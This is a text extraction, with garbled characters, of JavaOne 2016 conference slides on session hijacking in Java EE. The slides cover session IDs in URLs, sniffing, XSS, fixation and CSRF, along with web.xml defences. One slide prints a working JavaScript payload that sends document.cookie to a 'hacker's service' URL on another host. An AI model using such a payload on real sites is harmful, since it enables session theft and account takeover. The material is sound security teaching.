Embed Size (px)
Citation preview
The Hacker’s Guide to Session Hijacking
in Java EEPatrycja Wegrzynowicz
CTO, Yonita, Inc. JavaOne 2016
About Me• 15+ professional experience
• SoRware engineer, architect, head of soRware R&D
• Author and speaker • JavaOne, Devoxx, JavaZone, TheServerSide Java Symposium, Jazoon, OOPSLA, ASE, others
• Top 10 Women in Tech 2016 in Poland • Founder and CTO of Yonita
• Automated detecZon and refactoring of soRware defects
• Trainings and code reviews • Security, performance, concurrency, databases
• Twi[er @yonlabs
About Me• 15+ professional experience
• SoRware engineer, architect, head of soRware R&D
• Author and speaker • JavaOne, Devoxx, JavaZone, TheServerSide Java Symposium, Jazoon, OOPSLA, ASE, others
• Top 10 Women in Tech 2016 in Poland • Founder and CTO of Yonita
• Bridge the gap between the industry and the academia
• Automated detecZon and refactoring of soRware defects
• Trainings and code reviews • Security, performance, concurrency, databases
• Twi[er @yonlabs
Agenda
• HTTP, session, OWASP • 4 demos to hijack a session • Best pracZces in Java EE
Security Stories 2014-‐2015
#!/bin/bash
Security Stories 2015-‐2016
#!/bin/bash
HTTP
HTTP
What is Web Session?
• Session idenZfies interacZons with one user • Unique idenZfier associated with every request
• Cookie
• Header
• Parameter
• Hidden field
OWASP Top 10 Risks
Session Hijacking
Session Hijacking
• Session theR • URL, sniffing, logs, XSS
Session Hijacking
• Session theR • URL, sniffing, logs, XSS
• Session fixaZon
Session Hijacking
• Session theR • URL, sniffing, logs, XSS
• Session fixaZon • Session predicZon
Demo: Session Exposed in URL
• I will log into the sample applicaZon • I will post a link with my session id on Twi[er
• @yonlabs
• Hijack my session :)
How to Avoid Session Id in URL?
• Default: allows cookies and URL rewriZng • Default cookie, fall back on URL rewriZng
• To embrace all users
• Disabled cookies in a browser
• Disable URL rewriZng in an app server • App server specific
• Tracking mode • Java EE 6, web.xml
web.xml
<!-‐-‐ Java EE 6, Servlet 3.0 -‐-‐> <session-‐config> <tracking-‐mode>COOKIE</tracking-‐mode> </session-‐config>
Session Sniffing
• How to find out a cookie? • e.g., network monitoring and packet sniffing
• How to use a cookie? • Browsers’ plugins and add-‐ons (e.g., Cookie Manager for Firefox)
• IntercepZng proxy (e.g., OWASP ZAP)
• DIY: write your own code
Demo: Session Sniffing
• You will log into the sample applicaZon • Any non empty user name
• Please, use meaningful names!
• I will monitor network traffic • tcpdump
• I will hijack one of your sessions • Cookie Manager
How to Avoid Session Exposure During Transport?
How to Avoid Session Exposure During Transport?
Encrypt! Use HTTPS.
web.xml<security-‐constraint> <user-‐data-‐constraint> <transport-‐guarantee> CONFIDENTIAL
</transport-‐guarantee> </user-‐data-‐constraint>
</security-‐constraint>
web.xml<!-‐-‐ Java EE 6, Servlet 3.0 -‐-‐> <session-‐config> <cookie-‐config> <secure>true</secure> </cookie-‐config> <tracking-‐mode>COOKIE</tracking-‐mode> </session-‐config>
Session Exposure• Transport
• Unencrypted transport
• Client-‐side • XSS
• A[acks on browsers/OS
• Server-‐side • Logs
• Session replicaZon
• Memory dump
How to Steal a Session if Secure Transport Is Used?
How to Steal a Session if Secure Transport Is Used?
A3ack a client!
Demo: Session Grabbed by XSS
• JavaScript code to steal a cookie • Servlet to log down stolen cookies • Vulnerable applicaZon to be exploited via injected JavaScript code (XSS)
Demo: Session Grabbed by XSS
• I will store malicious JavaScript code in the app • Through wriZng an “opinion”
• Log into the vulnerable applicaZon • h[ps://demo.yonita.com:8181/session-‐xss/
• Any non empty user name
• Please, use meaningful names!
• Click ‚View others opinions’ page • Wait unZl I will hijack your session :)
JavaScript to Steal a Cookie<script> <!-‐-‐ hacker’s service -‐-‐> theR = ’h[p://demo.yonita.com/steal/steal?cookie=’ <!-‐-‐ to bypass Same Origin Policy -‐-‐> image = new Image(); image.src = theR + document.cookie; </script>
web.xml<!-‐-‐ Java EE 6, Servlet 3.0 -‐-‐> <session-‐config> <cookie-‐config> <h[p-‐only>true</h[p-‐only> <secure>true</secure> </cookie-‐config> <tracking-‐mode>COOKIE</tracking-‐mode> </session-‐config>
Session FixaZon
• Session fixaZon a[ack uZlizes a session creaZon
When Session is Created?
A. On storing an a[ribute in a session for the first Zme B. On calling request.getSession(true) /() for the first
Zme C. On a successful login D. None of the above
When Session is Created?
A. On storing an a[ribute in a session for the first Zme B. On calling request.getSession(true)/() for the first
Zme C. On a successful login D. None of the above
When Session is Created?A. On storing an a[ribute in a session for the first Zme B. On calling request.getSession(true)/() for the first
Zme • H[pServletRequest::getSession(true) • H[pServletRequest::getSession() • an implicit session object on JSP pages
• unless <%@ page session="false" %>
C. On a successful login D. None of the above
Session FixaZon: Scenario 1• Hacker opens a web page of a system in a browser
• JSP page: a new session iniZalized!
• Hacker writes down the session id • Hacker leaves the browser open • User comes and logs into the app
• Uses the session iniZalized by the hacker
• Hacker uses the wri[en down session id to hijack the user’s session
Session FixaZon: Scenario 2• Hacker opens a web page of a system in a browser
• JSP page: a new session iniZalized!
• Hacker prepares a link with the session id in URL • Hacker tricks a user to click the link
• e.g. sends an email with the link
• User clicks the link • Uses the session iniZalized by the hacker
• Hacker uses the wri[en down session id to hijack the user’s session
Session FixaZon: SoluZon
• Change the session ID aRer a successful login • more generally: escalaZon of privileges
Servlet 3.0/3.1 Spec
• Containers may create HTTP Session objects to track login state. If a developer creates a session while a user is not authenZcated, and the container then authenZcates the user, the session visible to developer code a=er login must be the same session object that was created prior to login occurring so that there is no loss of session informaZon.
Session FixaZon: SoluZon in Java EE
• Change the session ID aRer a successful login • more generally: escalaZon of privileges
• Java EE 7 (Servlet 3.1) • H[pServletRequest.changeSessionId()
• Java EE 6 • H[pSession.invalidate()
• H[pServletRequest.getSession(true)
Secure Session Management Best PracZces
• Random, unpredictable session id • At least 16 characters
• Secure transport and storage of session id • Cookie preferred over URL rewriZng
• Cookie flags: secure, h[pOnly
• Don’t use too broad cookie paths
• Consistent use of HTTPS
• Don’t mix HTTP and HTTPS under the same domain/cookie path
Consistent Use of HTTPS Typical Errors
• StaZc content served as HTTP from the same domain name
• Pre-‐authenZcated pages as HTTP, post-‐authenZcated pages as HTTPS from the same domain name
• Login form as HTTPS, the rest as HTTP • GMail for a few years aRer its launch!
Secure AuthenZcaZon Best PracZces
• Session creaZon and destrucZon • New session id aRer login • Logout bu[on • Session Zmeouts: 2”-‐5” for criZcal apps, 15”-‐30” for
typical apps
• DetecZng session anomalies • Basic heurisZc: a session associated with the headers of the first request
• The fingerprint of a first reques: IP, User-‐Agent,…
• If they don’t match, something’s going on (invalidate!) • OWASP ModSecurity Web ApplicaZon Firewall
• Rules for detecZng common security a[acks
Secure AuthenZcaZon Best PracZces cont.
• Java EE • DeclaraZve authenZcaZon implemented using descriptors • ProgrammaZc authenZcaZon
• AnnotaZons, H[pServletRequest: authenZcate, login, logout
• Advanced flows and requirements • Custom implementaZon
• Servlet 3.0 vs 3.1 • the session visible to developer code a=er login must be the same session object that was
created prior to login • Session fixaZon problem • 3.0: no way to change a session id! • 3.1: changeSessionId
• Check out the container implementaZons • Java EE 6 vs. Java EE 7
Secure AuthenZcaZon Best PracZces cont.
• My choice • DeclaraZve authenZcaZon with Java EE 7
• Check out your applicaZon server behavior!
• ProgrammaZc authenZcaZon with Java EE 6 or when advanced flow need in Java EE 7
• H[pServletRequest: authenZcate, login, logout
• Custom implementaZon
What If We Can’t Steal a Cookie?
What If We Can’t Steal a Cookie?
We can sDll use it!
Demo: CSRF to Use a Cookie• I will log into the applicaZon • Log into the applicaZon
• h[ps://demo.yonita.com:8181/session-‐csrf/
• Any non empty user name
• Please, use meaningful names!
• Click the link and the bu[on ‘Click me’ • h[ps://demo.yonita.com:8181/a[ack-‐csrf/
• I will check my account balance :)
CSRF: SoluZon
• Use a unique token for each request • anZ-‐CSRF token
• Remember about your web forms and REST services • POST requests
• Other HTTP acZons as needed
• Web framework dependent
Conclusion
You are never safe!
A fool with a tool is only a fool!
ConZnuous Learning
Please, vote! :)
